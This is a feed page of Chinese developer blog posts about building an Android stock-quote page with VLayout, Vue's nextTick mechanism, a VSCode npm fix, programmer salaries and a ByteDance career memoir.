在开发股票类APP的报价页面时,我们常会遇到需要动态展示多种类型视图的问题。一个典型的报价页面通常包括盘口信息、K线图,成交明细和买卖盘,资金分析等模块。不同证券类型(如股票、指数)以及市场差异(如A股、港股,美股等)所需要展示的功能模块也不相同。
股票报价页面,要适应不同的需求,展示不同的功能模块,这要求我们的布局得是动态化和组件化的。耦合度低,能很轻松的添加和删除这个View,而且代码上也要可维护和方便复用。
本文将介绍一下怎么使用组件化的设计方式构建一个灵活,维护性强的股票报价页面。
先看效果图:
**股票类型 ** stock.gif 指数类型 底部只有成分股列表 index.gif

报价页面需求拆解

典型的股票APP报价页面设计,从上到下通常包含以下模块:

  1. 盘口信息:展示基础行情数据,如当前价格、涨跌幅、成交量,市值,市盈率等指标;
  2. 分时K线图:展示分时走势或K线图数据,用于分析股票的今日以及历史价格趋势;
  3. 明细数据:展示实时成交明细数据,包括时间、价格、成交量等;
  4. 买卖盘:实时更新买卖档数据(如买五、卖五,港股美股的档位数和A股有些不一样);
  5. 经纪席位(港股特有):展示主要经纪商的交易情况;
  6. 资金分析:展示今日资金流向。主力资金等数据;
  7. 成分股列表(指数特有):展示指数的成分股的报价信息及其权重等信息;

我们开发这个页面的过程中,需要根据不同的证券类型(股票、指数)及市场(A股、港股)灵活组合不同的模块来满足需求。例如:

  • 股票页面:包含盘口信息、分时K线图、明细、内嵌的交易模块,买卖盘、资金信息等;
  • 指数页面:去除买卖盘,交易模块,资金分析模块,底部增加成分股列表;
  • 港股页面:需要加入经纪席位模块;

实现方案分析

报价页面是一个可滑动的列表,里面有不同的视图类型,要实现动态显示不同的UI,一般有几种实现方式:

1. NestedScrollView嵌套不同的模块View

在 XML 布局文件中,我们可以使用NestedScrollView嵌套各种不同的模块View。通过设置不同的条件,这些被嵌套的 View 能够实现动态显示与隐藏的效果。之所以使用NestedScrollView作为可滑动的父控件,是为了解决嵌套RecycleView时的滑动冲突问题。

当然布局优化上也可以使用ViewStub来动态inflate()加载这个视图,减轻UI渲染压力。这种实现方式的优缺点:

  1. 优点:简单直接,更新UI的状态也很方便;
  2. 缺点:View视图的动态显示和隐藏逻辑,以及业务逻辑都由UI载体Activity中完成,会造成Activity很臃肿,难以维护,而且无法复用。
    另外NestedScrollView中嵌套RecycleView,会造成首次渲染慢的问题。因为父类View必须把所有RecycleView中的item一次全部渲染出来,确定RecycleView的高度,最终才能确定NestedScrollView的高度。滑动的时候,RecycleView中的item无法复用,也会不流畅,尤其对于有成百上千个成分股的指数报价页面而言,这种不流畅的滑动体验会严重影响用户体验。

    <androidx.core.widget.NestedScrollView
        android:layout_width="match_parent"
        android:layout_height="match_parent"
        android:orientation="vertical">
        ```
    <ViewStub
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:layout="@layout/stock_bottom" />
    <androidx.core.widget.NestedScrollView/>

2. NestedScrollView嵌套不同的Fragment

报价中的功能模块,不管是K线图,明细还是买卖盘,每一个实现起来其实都是挺多业务逻辑的。想要独立/多人并行开发,可维护性强的话,我们可以使用Fragment来包装一下功能View实现。


    <androidx.core.widget.NestedScrollView
        android:layout_width="match_parent"
        android:layout_height="match_parent"
        android:orientation="vertical">

        <LinearLayout
            android:layout_width="match_parent"
            android:layout_height="match_parent"
            android:orientation="vertical">

            <androidx.fragment.app.FragmentContainerView
                android:id="@+id/fragment_top"
                android:layout_width="match_parent"
                android:layout_height="wrap_content" />

            <androidx.fragment.app.FragmentContainerView
                android:id="@+id/fragment_center"
                android:layout_width="match_parent"
                android:layout_height="wrap_content" />

            <androidx.fragment.app.FragmentContainerView
                android:id="@+id/fragment_bottom"
                android:layout_width="match_parent"
                android:layout_height="wrap_content" />
        </LinearLayout>
    </androidx.core.widget.NestedScrollView>

在xml布局中嵌入FragmentContainerView,然后通过FragmentManager动态的给各个FragmentContainerView添加要显示的功能块Fragment
Fragment切片的设计初衷,也是为了给开发者提供一个轻量级的,带生命周期的视图,方便开发者在UI页面中的不同部分嵌套使用。


    val fragmentTransaction = childFragmentManager.beginTransaction()

    fragmentTransaction.add(
        R.id.fragment_top,
        topFragment!!,
        null
    )

这个方案确实解决了前一种方案在可维护性方面的问题,它通过采用不同的 Fragment 来拼凑布局。然而,Fragment 相较于 View 更为 “重型”,在 UI 渲染时会带来较大压力,不够轻量级。同样也会有NestedScrollView中嵌套RecycleView,首次渲染慢,无法复用问题。

3. 使用RecycleView的ItemViewType

借助 RecyclerView的Adapter中的 viewType 特性,我们能够让 RecyclerView 在不同位置呈现出不同的布局样式。这样整个股票报价页面就是一个RecycleView,足够的轻量级,给 UI 渲染带来的压力也就小多了,能够高效且流畅地完成界面展示。然而,这种实现方式也存在明显弊端。由于要依据不同的 viewType 去处理各种布局逻辑,Adapter 中的业务逻辑会急剧增多,Adapter类变得很臃肿,维护困难。而且股票报价页面的数据来自多个数据源,更新数据上也不好处理。

class CustomAdapter : RecyclerView.Adapter<RecyclerView.ViewHolder>() {

    companion object {
        private const val VIEW_TYPE_PANKOU = 0 // 盘口信息布局类型
        private const val VIEW_TYPE_KLINE = 1  // K 线布局类型
    }

    override fun getItemViewType(position: Int): Int {
        return when (position) {
            0 -> VIEW_TYPE_PANKOU // 位置 0 显示盘口信息
            1 -> VIEW_TYPE_KLINE  // 位置 1 显示 K 线图
            else -> throw IllegalArgumentException("Unsupported position: $position")
        }
    }

    override fun onCreateViewHolder(parent: ViewGroup, viewType: Int): RecyclerView.ViewHolder {
        return when (viewType) {
            VIEW_TYPE_PANKOU -> PankouViewHolder(
                LayoutInflater.from(parent.context).inflate(R.layout.item_pankou, parent, false)
            )
            VIEW_TYPE_KLINE -> KLineViewHolder(
                LayoutInflater.from(parent.context).inflate(R.layout.item_kline, parent, false)
            )
            else -> throw IllegalArgumentException("Unsupported view type: $viewType")
        }
    }

    override fun onBindViewHolder(holder: RecyclerView.ViewHolder, position: Int) {
        // 根据 position 对应的布局类型处理数据绑定逻辑
        if (holder is PankouViewHolder) {
            // 绑定盘口信息布局数据
        } else if (holder is KLineViewHolder) {
            // 绑定 K 线图布局数据
        }
    }

    override fun getItemCount(): Int = 2

    // 盘口信息 ViewHolder
    class PankouViewHolder(itemView: View) : RecyclerView.ViewHolder(itemView)

    // K 线布局 ViewHolder
    class KLineViewHolder(itemView: View) : RecyclerView.ViewHolder(itemView)
}



4. 阿里巴巴的VLayout库实现

该库发布于2017年,当初主要是为了实现首页多视图复杂列表的动态展示。通过对RecyclerView中LayoutManager的扩展,支持不同的 LayoutHelper,实现加载不同的布局的能力,可以让我们根据实际需求灵活地加载和管理各种布局。虽然该库已经停止维护,但是日常使用还是挺方便的,也是本示例使用的方式。更多了解请移步查看:github.com/alibaba/vla…

5. RecycleView库中的ConcatAdapter

ConcatAdapter 和阿里的 VLayout 库在功能上有相似之处,二者都可用于组合不同 UI 类型的 Adapter。不过,ConcatAdapter 直到 2021 年才在官方的 RecyclerView 1.2 版本中推出,这着实是 “姗姗来迟”。

阿里的 VLayout 库出现的早,为开发者在处理复杂多样的列表布局时提供了有效的解决方案,这在当时的Android领域还是难以取代的。

图片.png

不过ConcatAdapter的出现,也算是官方给出的解决方案了,为我们提供了一种便捷组合不同布局样式的Adapter方式,而且各个Adapter也不需要额外的修改,直接通过ConcatAdapter串联起来就实现了不同布局样式的RecycleView,使用起来很简单,像这样的方式。

val stockInfoAdapter = StockInfoAdapter(stockInfo)
val kLineAdapter = KLineAdapter(kLineData)
val tradeDetailAdapter = TradeDetailAdapter(tradeDetails)
val orderBookAdapter = OrderBookAdapter(orderBookData)
val fundsAdapter = FundsAdapter(fundsData)
val concatAdapter = ConcatAdapter(
    stockInfoAdapter,
    kLineAdapter,
    tradeDetailAdapter,
    orderBookAdapter,
    fundsAdapter,
)

val recyclerView: RecyclerView = findViewById(R.id.recyclerView)
recyclerView.layoutManager = LinearLayoutManager(this)
recyclerView.adapter = concatAdapter

具体实现

因为ConcatAdapter出来的晚,功能相对简单,不支持多种布局类型和特殊布局,如吸顶效果(该效果在指数报价页面的底部成分股列表会用到)。所以本示例就是使用了Vlayout来实现的,总体上实现还是很简单的。

先给RecyclerView初始化一个DelegateAdapter对象,注意这里要设置合适的缓存池大小,因为有些指数的成分股数量大于1000所以设置的多些,这样用户来回滑动起来就比较流畅。当然现在有些股票APP不会全部把这个列表显示出来,而是进行分页加载,这样UI渲染的压力就小很多。


    fun initRecyclerView(recyclerView: RecyclerView, context: Context?): DelegateAdapter {
        //初始化
        //创建VirtualLayoutManager对象
        val layoutManager = VirtualLayoutManager(context!!)
        recyclerView.setLayoutManager(layoutManager)
        recyclerView.itemAnimator = null
        //设置回收复用池大小,(如果一屏内相同类型的 View 个数比较多,需要设置一个合适的大小,防止来回滚动时重新创建 View)
        val viewPool = RecyclerView.RecycledViewPool()
        viewPool.setMaxRecycledViews(ViewTypePrice, 1)
        viewPool.setMaxRecycledViews(ViewTypeChart, 1)
        viewPool.setMaxRecycledViews(ViewTypeBuSellPan, 1)
        viewPool.setMaxRecycledViews(ViewTypeStickTop, 1)
        viewPool.setMaxRecycledViews(ViewTypeBottomList, 1000)
        viewPool.setMaxRecycledViews(ViewTypeBottomFundFlow, 1)
        recyclerView.setRecycledViewPool(viewPool)
        //设置适配器
        val delegateAdapter = DelegateAdapter(layoutManager)

        recyclerView.setAdapter(delegateAdapter)
        return delegateAdapter
    }

然后就是根据不同的条件把不同功能的Adapter按需求和显示顺序添加到LinkedList链表中,最后把串起来的Adapters设置进DelegateAdapter里,这样就能显示出来了。

       private var mAdapters = LinkedList<DelegateAdapter.Adapter<*>>()
    //指数底部只有成分股股列表
    if (isIndex) {
        itemList = List(1200) { StockItem("腾讯控股 $it") }
        mAdapters.add(vlayoutUtils.initStickTopAdapter(this))
        bottomListAdapter = BottomListAdapter(this)
        mAdapters.add(bottomListAdapter!!)
        updateBottomList()
    } else {
        val tradeAdapter = TradeAdapter(this)
        mAdapters.add(tradeAdapter)
        mAdapters.add(
            vlayoutUtils.initLineLayoutAdapter(
                this,
                R.layout.recycleview_item_buysellpan,
                ViewTypeBuSellPan
            )
        )
        val bottomFundAnalysisAdapter = BottomFundAnalysisAdapter(this)
        mAdapters.add(bottomFundAnalysisAdapter)
    }
    //设置适配器
    delegateAdapter.setAdapters(mAdapters)

注意点

1. 单个Adapter类刷新数据,要使用notifyItemChanged()或者notifyItemRangeChanged()方法;

如果某个Adapter类刷新数据调用notifyDataSetChanged()方法的话,其他的Adapter也会调用onBindViewHolder()方法,造成整个RecycleView的Adapter都跟着重新刷新了,这样就可能会造成状态丢失或者无效刷新的问题;


        fun update(itemList: List<StockItem>?) {
            if (itemList != null) {
                this.itemList = itemList
                mCount = itemList.size
    //            notifyDataSetChanged()//会更新其他的Adapter
                notifyItemRangeChanged(0,mCount)
            }
            Log.i(TAG, "update: ...")
        }

这是因为VLayout内部注册了RecyclerView.AdapterDataObserver的监听,一个Adapter类调用notifyDataSetChanged()会触发整个RecycleView调用notifyDataSetChanged()方法。


    AdapterDataObserver observer = new AdapterDataObserver(mTotal, mIndexGen == null ? mIndex++ : mIndexGen.incrementAndGet());
    adapter.registerAdapterDataObserver(observer);

    @Override
    public void onChanged() {
        if (!updateLayoutHelper()) {
            return;
        }
        notifyDataSetChanged();
    }

2. Vlayout中的Adapter里避免嵌套列表数量比较多的RecycleView
之前笔者为了图方便,设置成分股的Adapter的ItemCoun数量为1,然后Item布局中加了一个RecycleView来加载成分股列表。结果是有上千个成分股数量的指数报价页面,打开这个Activity页面时渲染时间都超过了500ms,造成启动Activity速度慢,体验很糟糕。
这是因为VLayout的测量逻辑,对于嵌套的 RecyclerView,当其高度设置为wrap_content时,需要完整测量这个嵌套RecyclerView的所有 item 的高度,确定嵌套RecycleView 的高度后才能确定最外层RecycleView自身的高度,这导致测量耗时显著增加。

解决方案: 去掉 RecyclerView的嵌套,直接使用 LinearLayoutHelper的item layout,扁平化处理,有多少个Item数量就设置给ItemCount。这样做旧不用再额外测量嵌套 RecyclerView 的总高度,只是测量当前屏幕的Item高度,渲染快,而且滑动列表也能复用。

注意:如果RecyclerView中确实需要嵌套横向的RecyclerView来实现卡片布局的话,由于其高度固定,以及卡片数量不会太多,这种情况对UI的渲染压力还是没有太多影响的。

总结

使用VLayout来实现股票报价页面,既轻量又能很好的维护,用组块化的方式,灵活拼装不同的Adapter。在这种实现方式下,各个不同的功能模块逻辑能够在各自对应的Adapter中独立实现。如此一来,每个功能模块的代码结构清晰,便于开发人员进行维护和修改。
而且基于Adapter也能很好的复用,以买卖盘功能为例,其对应的 Adapter可以在买卖盘详情页面直接复用。避免了重复开发,还能保证不同页面中相同功能模块的一致性和稳定性,可谓一举多得,美滋滋。

最后附上示例源码,给大家参考一下:github.com/finddreams/…

by 寻梦_finddreams at January 23, 2025 03:55 PM

juejin frontend

Vue 中的 nextTick 函数有什么作用?(附带代码示例和源码示例)

在 Vue 开发中,深入理解和正确运用 nextTick 函数有利于网页性能以及稳定性的提升。本文将全面且深入地剖析 nextTick 函数的作用,并且附带上代码示例帮助理解。

一、nextTick 函数的核心作用

(一)实现基于更新后 DOM 状态的精确交互

 
在很多时候,我们需要依据更新后的 DOM 状态来执行后续操作。比如,我们有一个根据响应式数据显隐的 DOM,如果直接在状态变化后获取可能为 undefined,如果使用上 nextTick 将万无一失。

<template>
  <div>
    <button @click="showMessage">显示消息</button>
    <div v-if="showMsg" ref="msg">消息</div>
  </div>
</template>

<script>
export default {
  data() {
    return {
      showMsg: false,
    };
  },
  methods: {
    showMessage() {
      this.showMsg = true;
      console.log(this.$refs.msg); // undefined
      // 使用 $nextTick 确保 DOM 更新后再执行操作
      this.$nextTick(() => {
        console.log(this.$refs.msg); // 消息
      });
    },
  },
};
</script>

原理是因为 nextTick 是将函数添加到异步队列里,等到下一个异步队列再执行。而 DOM 是同步操作。

(二)避免多次更新 DOM - 优化页面性能

如果每次数据变化都立即更新 DOM,会导致频繁的 DOM 操作,可能会导致重绘(Repaint)或重排(Reflow),性能开销较大。

重排(Reflow): 当元素的几何属性(如元素的位置、大小、布局等)发生改变时,浏览器需要重新计算元素的几何属性,并且重新布局页面,这个过程称为重排。例如,改变元素的宽度、高度、添加或删除元素、修改元素的位置,定位等都会触发重排。

重绘(Repaint): 当元素的样式属性发生改变,但不影响其几何属性时,浏览器会重新绘制元素,这个过程称为重绘。例如,改变元素的颜色、背景颜色、字体等属性会触发重绘。

  • 重排是一个相对昂贵的操作,因为浏览器需要重新计算页面的布局,涉及到整个文档流的重新计算,会影响页面的性能,特别是当页面布局复杂时,大量的重排操作会导致页面卡顿。
  • 重绘的性能开销比重排小,但如果频繁发生重绘,也会影响页面的性能,尤其是在复杂页面上。
<template>
  <div>
    <div ref="item" class="item">{{ message }}</div>
    <button @click="updateMessage">更新消息</button>
  </div>
</template>

<script>
export default {
  data() {
    return {
      message: "初始消息",
    };
  },
  methods: {
    updateMessage() {
      // 先更新数据
      this.message = "更新后的消息";
      // 直接修改样式,可能导致多次重排重绘
      const item = this.$refs.item;
      item.style.backgroundColor = "lightblue";
    },
  },
};
</script>

<style>
.item {
  background-color: white;
  padding: 5px;
  transition: all 0.3s ease;
}
</style>

上面的示例中在 nextTick 之前改变 DOM 属性,就可能导致多次更新 DOM,因为此时 DOM 第一次的更新可能已经完成,立马发出了下一个 DOM更新。

三、源码示例深度剖析

 
以下是经过简化的 nextTick 底层源码:

let callbacks = [];
let pending = false;

function nextTick(cb) {
  callbacks.push(cb);
  if (!pending) {
    pending = true;
    Promise.resolve().then(flushCallbacks);
  }
}

function flushCallbacks() {
  pending = false;
  const copies = callbacks.slice(0);
  callbacks.length = 0;
  for (let i = 0; i < copies.length; i++) {
    copies[i]();
  }
}

// 示例使用
nextTick(() => {
  console.log('Callback executed in next tick');
});

 
在上述源码中, nextTick 函数首先将传入的回调函数包装并推入 callbacks 队列。然后用 Promise 把回调推入微队列,等待执行。
当然,这只是最简单的版本,万一浏览器不支持 Promise 呢?在 Vue2 里的源码中,会退而用 MutationObserver api 去把回调添加到异步队列。如果再没有,就继续往下降级,具体可以看代码。

let timerFunc;
// 用于存储需要执行的回调函数
const callbacks = [];
let pending = false;

// 定义 flushCallbacks 函数,用于执行存储在 callbacks 中的回调
function flushCallbacks() {
  pending = false;
  const copies = callbacks.slice(0);
  callbacks.length = 0;
  for (let i = 0; i < copies.length; i++) {
    copies[i]();
  }
}

// 尝试使用 Promise 作为首选的微任务执行方式
if (typeof Promise !== "undefined") {
  const p = Promise.resolve();
  timerFunc = () => {
    p.then(flushCallbacks);
  };
} else if (typeof MutationObserver !== "undefined") {
  let counter = "1";
  const observer = new MutationObserver(flushCallbacks);
  const textNode = document.createTextNode(counter);
  observer.observe(textNode, {
    characterData: true,
  });
  timerFunc = () => {
    counter = counter === "1" ? "2" : "1";
    textNode.data = counter;
  };
} else if (typeof setImmediate !== "undefined") {
  timerFunc = () => {
    setImmediate(flushCallbacks);
  };
} else {
  timerFunc = () => {
    setTimeout(flushCallbacks, 0);
  };
}

function nextTick(cb) {
  callbacks.push(cb);
  if (!pending) {
    pending = true;
    timerFunc();
  }
}

// 示例使用
nextTick(() => {
  console.log("Callback executed in next tick");
});

 可以看到,如果 MutationObserver 还没有,会使用 setImmediate 加入宏队列里面。最后会有 setTimeout 兜底。

但是在实际的项目中,我们不止可以使用回调函数的方式,我们还能使用 await 的方式。

但是很明显,上面的代码并不支持,所以 Vue 还有有一段的处理。

function nextTick(cb) {
  return new Promise((resolve) => {
    // 将回调函数和 resolve 封装到一个新函数中
    const _cb = () => {
      if (cb) {
        cb();
      }
      resolve();
    };
    callbacks.push(_cb);
    if (!pending) {
      pending = true;
      timerFunc();
    }
  });
}

这里的nextTick 会返回一个 Promise ,在 flushCallbacks 执行的时候才 resolve。这样就能兼容 await 的模式了。

👆上面都是 Vue2 的源码,在 Vue3 中会有一些优化:把 MutationObserver 改为 queueMicrotask api。并且优先使用

原因有以下两点:

更加标准:queueMicrotask api 是一个更标准化的 API,它的设计目的就是为了将回调添加到微任务队列中,相比 MutationObserver 更符合现代 JavaScript 标准

更加简洁:queueMicrotask 的使用更加简洁,无需像 MutationObserver 那样创建和管理观察对象,简化了代码结构和实现逻辑。


// Vue3 中会直接使用 queueMicrotask 来推入异步队列
export function queueMicrotask(cb) {
    if (typeof queueMicrotask === 'function') {
        queueMicrotask(cb)
    } else if (typeof Promise === 'function') {
        Promise.resolve().then(cb)
    } else {
        setTimeout(cb, 0)
    }
}

当然,实际的 Vue 源码会复杂得多。会考虑很多其他东西,这里我们掌握核心逻辑就好。

三、总结

 nextTick 函数最大的作用就是等获取到 Vue 更新后的 Dom,这个在实际项目中非常常见。一些不起眼的 bug 就是因为你没有操作到更新后的 Dom。所以在涉及到 Dom 操作的时候,要想清楚是否需要使用 nextTick。在不必要的地方也避免使用,因为过度依赖或滥用可能会导致代码逻辑复杂度过高且难以维护。在一些简单场景下,如果能够通过合理的 Vue 响应式数据绑定和生命周期钩子处理 DOM 相关操作,应优先选择这些方式,而非一味地使用 nextTick。同时,由于 nextTick 的回调执行时机依赖于异步任务队列和浏览器事件循环,在一些极端情况下(如浏览器性能极低或存在大量异步任务积压),可能会出现延迟执行时间过长的问题,我们需要对此有清晰的认识并进行适当的错误处理和性能优化。

by _Lok at January 23, 2025 03:49 PM

解决vscode无法运行npm命令

计划开启一个新的项目,图片在线编辑。经过这段时间的研究,这个新的项目将会采用 vue3 前端技术来开发。

于是开始在电脑上部署node开发环境,但是遇到这样的一个问题。npm命令在电脑的CMD命令行中可以正常运行但是在VSCODE的终端中npm无法正常执行。

通过CMD命令行查看 node的版本跟npm的版本。确定node成功安装,如下图:

5324.jpg

但是当我们打开VSCODE,在VSCODE的终端中执行 npm命令的时候发现npm命令无法使用,并报错如下图:

11421.jpg

这个时候输入 get-command npm 查看一下会有环境变量的命令占用了npm,而且就在显示的路径下有个npm的文件;如下图:

25395.jpg 通过后面的文件目录找到 npm.sp1文件,并将它删除。然后再次执行npm命令这时npm命令能正常执行;如下图。

9819.jpg

至此npm在VSCODE终端无法执行的问题解决了,能够正常使用它部署VUE项目。如果你在部署vue项目中遇到相同的问题可以参考一下。

前端UI框架的选择:在同行的推荐下决定采用arco design UI框架,看着文档挺齐全,于是就这么愉快决定了。

2025年计划着先开发这个项目,先开发PC版本的。如果PC版本能顺利进展再考虑手机版。

------------------ 华丽分割线 ------------------

欢迎大家阅读我的创业笔记,如果你觉得这篇写得不错的话,可以关注我的公众号: 成长创业笔记 ;每周不见不散。

我是一名独立开发者。欢迎大家跟我交流软件开发、软件运营的一切事情,包括网站建设,小程序开发,app开发。

微信号:zstxinghui

更欢迎大家使用我的APP

1、松鼠天气,简洁的天气预报,节日日历工具。

2、陪诊小程序,家政小程序等行业小程序。

我的网站:解决vscode无法运行npm命令

by 程序员小张0755 at January 23, 2025 03:26 PM

juejin career

30岁普通程序员的薪资应该是多少?

文章首发到公众号:月伴飞鱼,每天分享程序员职场经验+科普AI知识!

大家好呀,我是飞鱼

古书有云:三十而立,30岁的话,到底达到年薪多少才算人均水平?

图片

经常在脉脉上看到程序员动不动就是月入3万,年入百万,给人以为大多数程序员就是这么高的薪资水平。

其实这些看看就好了,千万不要焦虑,不要觉得怎么别人都这么高工资而我这么低。

虽然网上的信息五花八门,但具体到个人情况还得结合实际情况来看。

  • 不同公司的薪酬体系、个人表现以及谈判能力都会影响最终的薪资水平。

程序员的薪资差距巨大,低的几千块也有,高的四五万甚至更高的也有。

学历并非衡量薪资的标准,但高学历的薪资普遍会比低学历要高很多。

不同方向的薪资均有高有低,但普遍会比其他行业要高一些。

大厂员工薪资是真的高没错,周围还有很多其他大厂同事,肯定都不低于 30K 的,更不要说是年龄已经 30+,工作经验 10 年左右了。

但是,大厂员工是少数,大部分人其实就是在小公司摸爬滚打。

他们的薪资基本在 25K 左右,我想这才是大多数普通程序员的薪资

不过我觉得目前的大环境,失业总是来的猝不及防,还能有班上就已经很不错了,工资高低看运气了。

而且国内99%以上的公司做的都是应用层的开发,根本不涉及底层框架。

  • 而应用层的东西本身就不复杂工作3年足以胜任。

换句话说就是工作3年,技术就已经到了天花板。

这也是为什么近年来,很多软件公司裁员先会瞄准大龄程序员的原因。

  • 因为他们的工资成本和技术能力完全不成比例,性价比太低。

既然技术天花板不高,工作3年就可以轻易达到。

都说大城市机会多,薪资高, 但互联网行业也很卷啊。

大公司要求高,小公司薪资又不给力。

加班成常态,身体和精神都在极限拉扯。

而且,学历、项目经验、人脉资源,哪个都不能少。

但也有人一路披荆斩棘,成功拿到高薪。

有啥其他看法,欢迎在评论区留言讨论。

想看技术文章的,可以去我的个人网站:hardyfish.top/

  • 目前网站的内容足够应付基础面试(P7)了!

每日一题

题目描述

给定两个数组 nums1 和 nums2 ,返回它们的交集。

输出结果中的每个元素一定是 唯一 的。

示例 1:

输入:nums1 = [1,2,2,1], nums2 = [2,2]
输出:[2]

示例 2:

输入:nums1 = [4,9,5], nums2 = [9,4,9,8,4]
输出:[9,4]
解释:[4,9] 也是可通过的

解题思路

定义一个集合,将nums1中的元素依次添加入集合当中。

定义result数组,大小为两数组中长度的最小值。

定义index,遍历nums2,如果set中存在nums2中的元素,将该元素添加到result数组中。

代码实现

Java代码:

class Solution {
    public int[] intersection(int[] nums1, int[] nums2) {
        Set<Integer> set = new HashSet<>();
        for (int e : nums1) {
            set.add(e);
        }
        int[] result = new int[Math.min(nums1.length, nums2.length)];
        int index = 0;
        for (int e : nums2) {
            if (set.contains(e)) {
                result[index++] = e;
                set.remove(e);
            }
        }
        return Arrays.copyOfRange(result, 0, index);
    }}

资料分享

HBase不睡觉书 带目录(高清)

HBase企业应用开发实战:

HBase权威指南:

by 程序员飞鱼 at January 23, 2025 03:06 PM

阿民的字节终唱

在字节待了快四年了,送走了一批又一批同学,终于轮到自己了。这四年做了很多有挑战的事情,尝试了不同的可能,也接触了形形色色的同学,回顾下来还是很有趣的。

准确地说,我工作了 5 年,字节经历最长,接近四年,以学习经历来说,也是一个完整的周年了。整个职业经历其实也蛮有意思的,分享给大家一些比较好玩的事情,放松一下疲惫的工作状态。

毕业第一年

我本科是从一个末流 211 毕业的,和某 985 共用一个简称,南大。毕业第一年是比较坎坷的了,待过两家公司,第一家是传统企业,第二家是一家 C 轮 小厂;

酒店铺床单?

刚毕业的时候,拿过几个 offer,像网易、美团、三七互娱等互联网厂(没有头部的,不然就没后面的故事了),也有一些国企银行和传统企业,当时我的想法很简单,我不想加班,work life balance。

所以我最后选了一家公司叫东呈国际,他们自称中国第五的酒店集团?当然最后选那边的理由是因为岗位名称叫“管培生”,给的饼是半年升管理岗,然后职场精英......

image.png

🐶都不信.....是的,但是我信了,还把我女朋友(现老婆)也一起坑了过去【这就是熟人传销

当然,我还是研发岗的,不过入职的第一个月,需要去加盟的酒店实习,美其名曰深入业务,才能为业务赋能 那时候我们都觉得从总部下放到加盟酒店实习,那更多的应该是业务了解,还有一些坑点调研之类的,当时还和同组另一个哥们调侃,你调研啥方向,我调研啥方向,然后我们技术联动,起飞

然后下放到酒店以后,某中专的经理给我们一顿洗脑和服从性痛骂后,给我们分配了后续的工作任务,打扫客房 + 铺床单。是的,你没听错,这就是我和那个哥们的第一个月工作内容,两个研发和阿姨们一起铺床单

image.png

我们差点把经理痛骂一顿,直接跑路。但是秉承着善意假设的原则以及从小接受的良好牛马教育,我把他们劝住了,“反正工资也不少 ,可能这样更能深入业务,了解需求方到底想要啥”,然后开始了铺床单的人生体验。

这事情我老婆每次提到都得吐槽我一顿,至于那哥们咋看我我就不清楚了,毕竟这段经历后我发他微信显示:

“对方并非你的好友,需要发送朋友验证”

不过这段时间还是挺有意思的,对我而言。我这人刚毕业同理心很强,还蛮健谈的,铺床单的时候和阿姨们拉长拉短,也听到了不少有意思的故事,有温馨的,也有辛酸的,填补了我对不同人生的感悟和理解,也建立了跨年龄段的友谊

当然还有另一个收获,就是床单铺得又快又好......笑死😆

从这段不靠谱的开始,相信人生阅历丰富的各位应该能猜的到结局,反正好不到哪里去。最后在我和我老婆转正前一天被裁了,裁员的理由也非常有意思:

  • 你总是穿拖鞋上班,很不注意形象啊
  • 需求评审会上,你为什么要提技术质疑点,我怀疑你有挑拨老板间关系的嫌疑

emmm...刚毕业也不懂,觉得是自己的问题,也不敢要赔偿,毕竟某事业部总裁是这么说的:

我在大厂很多人脉,你们敢劳动仲裁的话,信不信我让你们在互联网行业都混不下去!

笑死😆......🐶都不信......是的,但是我信了

单趟通勤 50 公里混工作年限

这段经历完了以后,我就有两个比较大的麻烦了:

  • 我老婆觉得我太坑爹了,妥妥🐷队友,分手!当时赌气,还特地找了一个广州南沙区(离市中心 50 公里)的工作,🐷队友莫挨老子
  • 社招半年,正经公司简历面过不了,很多 hr 还是会质疑,是不是你的能力问题导致被裁的!怎么可能会因为穿拖鞋上班被裁?我也是不大信的🐶

我的解决办法也很简单,好工作找不到就随便找家小厂蹭工作经验咯,坑了我老婆那就道歉呗,不就是单趟 50 公里通勤嘛~

那段时间我每天6点起床去坐地铁,然后上了地铁没位置就往角落地上一坐,美滋滋嘻嘻😁拿着笔记本看2小时的技术文档、写写文章、刷刷面试题,来回通勤都是如此。不得不说,那段时间的学习沉浸度真的挺高,除了经常上会在地铁上被人踩到手以外,还挺不错=。=

image.png

当然这个过程并没有描述得那么轻松愉快,只不过已经释怀了,当时因为这段经历也有了重度抑郁症,性格没有刚毕业那么 E 了,也比较封闭不容易信任他人。那时候就一个想法,工作年限混到一年我就跑,嘎嘎一通面试,也拿到了字节、腾讯的 offer ,后面就来了抖音。

抖音的三年

最难忘的 Leader 柏阳

来了抖音以后,我开始跟着我大哥柏阳混了,也许是第一年过的太坎坷吧,后面我在字节遇到的每一位 Leader 都非常的靠谱,都对我的想法和职业发展上起到了非常深远的影响。

柏阳属于遮风挡雨型 + 超级靠谱型 Leader,有想法有原则,不会压力外泄,也尊重组里成员想法。在柏阳底下,就会有种可靠的感觉,跟紧我大哥干就完事,大哥指哪我打哪,然后有时候我自己有点想法想干点有意思的事情,柏阳也是完全放权 + 尽力支持,很容易做成事情。对于做的好的事情,柏阳也从不吝惜夸赞,情绪价值拉满。

image.png

也因为柏阳的开放和尊重,我在完成好本职工作后,用业余时间做成了很多业务以外的事情。柏阳会给予我除业务外的很多意见,在我做出成果以后也会很高兴地鼓励我,帮我分享这些内容,我真的非常感激柏阳。在我活水后,柏阳仍然会以朋友的角度给我指导和帮我分享。

后面因为我太棱角分明,看不惯一些现象,加上技术发展想去架构组,做一个资深 IC,我活水了。到现在我仍然认为,活水的决定我对得起任何人,除了柏阳,我对柏阳是真的有辜负的。柏阳作为一个团队 Leader是非常称职且难得宝藏的,还在的同学好好珍惜。

师从海外公关同学

刚来字节那会儿,我去做了字节官网,相比技术上的成长,更有意思的是每天与公关同学逐字逐句地 battle 官网文案,我的双语表述能力在那段时间突飞猛进。

我帮他们解决技术问题,他们帮我补语言组织能力。现在回忆下来,其实很多事情或者不经意的经历,其实都在为后续的一些事情铺垫,海外公关同学应该算是我语言组织和分享能力的第一批启蒙老师。

image.png

遗憾的是,后面我交接了这块业务,下次再联系的时候,同学已经离职了,也没加上微信。

两本掘金小册 & 编辑同学大茹

因为做了字节官网和抖音前端技术团队官网的缘故,掘金的编辑同学就找到我,问我想不想写一本掘金小册,也就是放在掘金社区的电子书籍课程。

image.png

真正让我印象深刻的并不是掘金小册的经历,而是我遇到的编辑同学,我很怀念且从心里感激她,她耐心且文笔专业,私下给我上了好几堂课,介绍应该如何组织一篇技术文章的结构,让整体的结构可以脉络清晰且逻辑分明。

image.png

我和大茹合作了很久,我业余时间写稿,大茹工作时间批注。

image.png

